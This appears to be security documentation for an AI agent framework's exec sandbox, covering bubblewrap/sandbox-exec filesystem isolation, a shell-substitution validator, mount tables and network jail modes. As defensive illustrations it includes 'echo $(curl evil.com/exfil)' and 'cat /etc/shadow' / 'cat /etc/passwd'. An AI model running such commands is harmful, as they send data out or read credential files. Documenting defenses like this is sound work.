> ## Documentation Index
> Fetch the complete documentation index at: https://comis-feature-matrix-channel.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# Exec Sandbox

> OS-level filesystem isolation for the system.exec tool using bubblewrap (Linux) and sandbox-exec (macOS)

File tools like `read`, `write`, and `edit` are protected by [Safe Path](/reference/safe-path) validation -- every path parameter is checked before the operation proceeds. But the `system.exec` tool spawns a full shell that can access any file on the host filesystem. The exec sandbox closes this gap with kernel-enforced filesystem isolation, ensuring that shell commands run inside a restricted namespace where only approved paths are visible.

<Warning>
  **Scope is critical.** The exec sandbox protects **only the `system.exec`
  tool**. It does not sandbox:

  * **In-process Node tools** -- built-in skills that run inside the daemon
    process (file\_read, web\_fetch, memory\_search, etc.) execute with full
    daemon permissions. Their security relies on application-level layers
    (safePath, SSRF guard, tool policy, content scanner).
  * **MCP stdio servers** -- external MCP processes are explicitly launched
    with `NODE_OPTIONS` stripped (see
    [Node Permissions](/reference/node-permissions)) so MCP servers run
    unsandboxed by design. Treat each MCP server as a trusted dependency.
  * **Arbitrary agent code** -- if you give an agent Python, Node, or other
    language tooling outside `system.exec`, that code runs unsandboxed.

  The single guarantee here is: when the `system.exec` tool is invoked, the
  shell process it spawns sees only approved paths.
</Warning>

## Two-Stage Protection: Validator + Sandbox

Every `system.exec` call passes through **two layers** before the OS spawns
the shell:

1. **`ExecSecurityValidator`** (pre-sandbox) -- a quote-aware state machine
   inspects the command string for dangerous shell substitution and rejects
   it before the sandbox even runs. Caught patterns include:

   * Command substitution: `$(...)`
   * Backtick substitution: `` `...` ``
   * Process substitution: `<(...)`, `>(...)`
   * Zsh process substitution: `=(...)`
   * Zsh equals expansion: `=cmd` at a word boundary

   The validator tracks quote context (normal, single, double, backtick) so
   patterns inside single quotes (where the shell does not interpret them)
   pass through unchanged.

2. **OS-level sandbox** (filesystem isolation) -- if the validator approves,
   the command is wrapped by bubblewrap or sandbox-exec for the actual
   spawn.

This means an attacker who tricks an agent into writing
`echo $(curl evil.com/exfil)` is stopped at stage 1, before the sandbox
runs. The sandbox catches anything stage 1 misses (e.g.,
`cat /etc/shadow` -- syntactically clean, but `/etc/shadow` is invisible
inside the namespace).

## The Problem

Safe Path validation protects file tool parameters, but it cannot inspect shell command strings. This creates a gap where `exec` can access files that `read` would block:

```bash theme={null}
# Blocked by Safe Path -- read validates the path parameter
tool: read
path: "/etc/passwd"
# Result: DENIED -- path outside workspace

# Bypasses Safe Path -- exec runs a shell command, not a file tool
tool: exec
command: "cat /etc/passwd"
# Without sandbox: SUCCEEDS -- shell has full filesystem access
# With sandbox:    DENIED -- /etc/passwd is not mounted inside the namespace
```

The exec sandbox prevents this by making unauthorized paths invisible to the shell process at the OS level. The process cannot read, write, or even see that those paths exist.

## How It Works

The sandbox uses platform-native isolation to restrict what the shell process can see:

* **Linux:** [bubblewrap](https://github.com/containers/bubblewrap) (`bwrap`) creates a mount namespace with only allowed paths visible. The process runs in its own user namespace with `--unshare-all --share-net --die-with-parent --new-session`.
* **macOS:** `sandbox-exec` applies an SBPL (Sandbox Profile Language) profile that restricts filesystem access. Default deny, with explicit read/write grants for approved paths.
* **Both platforms:** The workspace directory is read-write, system binaries are read-only, and everything else is invisible. Network access is allowed (network isolation is a separate concern).

Detection happens once at daemon startup. The provider is reused for all agents throughout the daemon's lifetime.

## Mount Table

The table below shows what paths are visible inside the sandbox. Anything not listed here is invisible to the sandboxed process.

| Path                                                       | Access        | Purpose                                                       |
| ---------------------------------------------------------- | ------------- | ------------------------------------------------------------- |
| Workspace (`~/.comis/workspace-{agent}/`)                  | Read-Write    | Agent's working directory                                     |
| Graph shared dir (`~/.comis/graph-runs/{runId}/`)          | Read-Write    | Pipeline data sharing between graph nodes                     |
| `/usr`, `/bin`, `/sbin`, `/lib`, `/lib64`, `/lib32`        | Read-Only     | System binaries and shared libraries                          |
| `/etc/resolv.conf`, `/etc/hosts`, `/etc/hostname`          | Read-Only     | Network configuration                                         |
| `/etc/ssl`, `/etc/ca-certificates`, `/etc/pki`             | Read-Only     | TLS certificates                                              |
| `/etc/ld.so.cache`, `/etc/ld.so.conf`, `/etc/ld.so.conf.d` | Read-Only     | Dynamic linker configuration                                  |
| `/etc/alternatives`, `/etc/localtime`                      | Read-Only     | System settings                                               |
| `/etc/passwd`, `/etc/group`, `/etc/nsswitch.conf`          | Read-Only     | User and group name resolution                                |
| `~/.gitconfig`, `~/.config/git/`                           | Read-Only     | Git author config (no credentials -- `~/.ssh` is NOT mounted) |
| `/proc`                                                    | proc          | Process information filesystem                                |
| `/dev`                                                     | dev           | Device nodes                                                  |
| `/tmp`                                                     | Private tmpfs | Isolated temp directory (not shared with host)                |
| `readOnlyAllowPaths` entries                               | Read-Only     | Operator-configured additional paths                          |
| Spillover temp dir                                         | Read-Write    | Exec tool internal temp files                                 |

<Info>
  On macOS, the sandbox-exec provider uses equivalent paths: `/Library`, `/System`, `/opt/homebrew`, `/usr/local` for system binaries, and `/private/tmp`, `/private/var/folders` for temp directories.
</Info>

## Configuration

```yaml title="~/.comis/config.yaml" theme={null}
agents:
  my-agent:
    skills:
      execSandbox:
        enabled: "always"            # "always" (default) or "never"
        readOnlyAllowPaths:          # Additional read-only paths inside the sandbox
          - /opt/data
          - /mnt/shared/datasets
```

| Field                | Type       | Default    | Description                                                                                                                                                                                     |
| -------------------- | ---------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `enabled`            | `enum`     | `"always"` | `"always"` -- sandbox is active; if the sandbox binary is unavailable, the exec tool logs a warning and runs unsandboxed (graceful fallback). `"never"` -- sandbox is unconditionally disabled. |
| `readOnlyAllowPaths` | `string[]` | `[]`       | Additional filesystem paths exposed read-only inside the sandbox. Use this for shared data directories that agents need to read but should not modify.                                          |

<Warning>
  Setting `enabled: "never"` removes the OS-level filesystem isolation entirely. The exec tool will fall back to its command denylist as the only protection. This is not recommended for production deployments.
</Warning>

## System Requirements

* **Linux:** Install bubblewrap -- `apt install bubblewrap` (Debian/Ubuntu) or the equivalent for your distribution. See the [bubblewrap GitHub repository](https://github.com/containers/bubblewrap) for details.
* **macOS:** `sandbox-exec` is built in to macOS. No installation needed.

<Warning>
  `sandbox-exec` on macOS is deprecated by Apple and may be removed in a future macOS release. It remains functional for development use, but use bubblewrap on Linux for production deployments.
</Warning>

## Limitations

<Info>
  The exec sandbox provides **filesystem isolation only**. It does not restrict other resource types:

  * **Network access is NOT restricted** -- network isolation is a separate concern from filesystem isolation
  * **CPU, memory, and disk limits are NOT enforced** -- resource limits are out of scope for the filesystem sandbox
  * **MCP tool servers run outside the sandbox** -- MCP servers have their own security model and are not wrapped by the exec sandbox
  * **sandbox-exec on macOS is deprecated** -- Apple may remove it in a future macOS release; use bubblewrap on Linux for production
</Info>

## Network Modes and Credential Broker

The exec sandbox supports four network modes via `SandboxOptions.network`:

| Mode             | bwrap args                                                           | Description                                                                                                                                                                            |
| ---------------- | -------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `open` (default) | `--unshare-all --share-net`                                          | Standard sandbox; full network access                                                                                                                                                  |
| `broker-only`    | `--unshare-all --unshare-net --bind <socketPath> <socketPath>`       | Driven-CLI sandbox; only the broker unix socket is reachable via bind-mount                                                                                                            |
| `none`           | `--unshare-all --unshare-net`                                        | Kernel-enforced deny-all egress (no socket, no proxy). Used by the verified-learning skill-validation jail so a synthesized script cannot reach the network during dynamic validation. |
| `cap-socket`     | `--unshare-all --unshare-net --bind <capSocketPath> <capSocketPath>` | Autonomy/orchestrate jail; only the capability-lease loopback endpoint's unix socket is reachable via bind-mount. All general IP egress is cut.                                        |

The `broker-only` mode is set automatically for driven API-key CLI spawns. It is not a user-configurable option — the daemon sets it when it launches a credentialed CLI through the broker. The `none` mode is set automatically by the skill-validation sandbox (it is likewise not user-configurable). The `cap-socket` mode is set automatically by the daemon when it launches an autonomy-bearing orchestrate surface; the socket path is daemon-minted per run.

<Info>
  A kernel network namespace (`--unshare-net`) blocks **IP** sockets only — a
  **bound unix socket** stays reachable. That is why `broker-only` and `cap-socket`
  can hand the jailed process a single unix-socket channel (the broker, or the
  lease endpoint) while every TCP/UDP path to the outside is hard-cut. The socket
  `--bind` is emitted **after** `--unshare-net` so bwrap applies it inside the new
  namespace.
</Info>

## Autonomy Jail Hardening

The autonomy/orchestrate jail layers these kernel- and validator-level controls
on top of the baseline filesystem isolation. Each is defense-in-depth — it holds
independently of the others:

| Control              | bwrap arg / mechanism                         | Protects against                                                                                                                                                                                        |
| -------------------- | --------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| New session          | `--new-session`                               | TIOCSTI keystroke-injection escape (CVE-2017-5226) — the child has no controlling TTY                                                                                                                   |
| Die-with-parent      | `--die-with-parent`                           | Orphaned jail surviving the daemon                                                                                                                                                                      |
| Seccomp profile      | `--seccomp <fd>` (raw-BPF blob, optional)     | Dangerous syscalls (keyring / `ptrace` / `perf_event_open` / `bpf` / module loading; the CVE-2024-1086 class). Absent blob → degrade (no `--seccomp`), never crash                                      |
| Bind-mount validator | every dynamic bind screened before mount      | Binding a system/credential dir, a parent that covers a blocked descendant, or a symlinked leaf resolving to a blocked path — **refused at construction**, fails loud                                   |
| Writable-path audit  | bind-list invariant                           | A host-trusted writable path (config / hooks / cron / `~/.nvm` / learned-memory/skill / bound `execPath`) being RW-bound, or a RO parent letting a nonexistent child config be created (CVE-2026-25725) |
| Egress cut           | `--unshare-net` (no allowlist)                | Network exfiltration with no allowlist-empty=allow-all failure mode (CVE-2025-66479 class)                                                                                                              |
| Namespace preflight  | startup probe → assistant downshift           | A host that cannot build an unprivileged userns silently running unjailed — instead the posture **downshifts to assistant** with a remediation hint                                                     |
| Node-runtime honesty | probe PATH → RO-bind `execPath` → unavailable | A false "bundled Node" claim or a silent unjailed Node — surfaces 2/3 are marked **unavailable** with a loud signal when no jailed `node` is resolvable                                                 |

The bind-mount validator's denylist is a **backstop** on top of the allow-list
binds, never the primary boundary. The daemon-minted broker/cap sockets and the
curated system read-only paths (e.g. `/etc/resolv.conf`) are the trusted
allow-list and are not re-screened.

The four CVE-class containment claims (TIOCSTI, CVE-2026-25725 writable-path,
symlink-escape, CVE-2025-66479 egress) are proven by Linux-gated `.linux.test.ts`
suites that run on the production host class (`pnpm validate:full`); they skip on
macOS where a real `bwrap` namespace cannot be built.

**Secure credential home** (`secureCredentialHome: true`): When set, the following bind mounts are omitted from the sandbox, so credential files are unreachable inside:

* `~/.claude` (read-write bind)
* `~/.claude.json` (read-only bind)
* `~/.local/share/claude` (read-write bind)

On Linux, the `broker-only` network mode combines with `secureCredentialHome` so neither the key material nor a direct network path to the key provider is reachable inside the sandbox. Network-level enforcement (`--unshare-net`) is validated on the Linux production host class: direct egress from inside the namespace fails, while the bound broker socket stays reachable.

<Info>
  Source: `packages/skills/src/tools/builtin/sandbox/types.ts` · `packages/skills/src/tools/builtin/sandbox/bwrap-provider.ts`
</Info>

[Credential Broker →](/security/credential-broker)

## Graph Integration

When an agent runs inside an [execution graph](/agents/execution-graphs) pipeline, the graph's shared directory (`~/.comis/graph-runs/{runId}/`) is automatically mounted read-write inside the sandbox. This allows pipeline nodes to share data files while maintaining filesystem isolation -- each node can read outputs from upstream nodes and write outputs for downstream nodes, but cannot access any other part of the host filesystem.

## Related

<CardGroup cols={2}>
  <Card title="Defense in Depth" icon="shield-halved" href="/security/defense-in-depth">
    How the exec sandbox fits into the 22 categorical security layers
  </Card>

  <Card title="Safe Path" icon="folder-closed" href="/reference/safe-path">
    Path validation for file tools (read, write, edit)
  </Card>

  <Card title="Tool Security" icon="box" href="/reference/sandbox">
    Technical sandbox reference for all defense layers
  </Card>

  <Card title="Hardening Guide" icon="lock" href="/security/hardening">
    Production hardening checklist
  </Card>
</CardGroup>
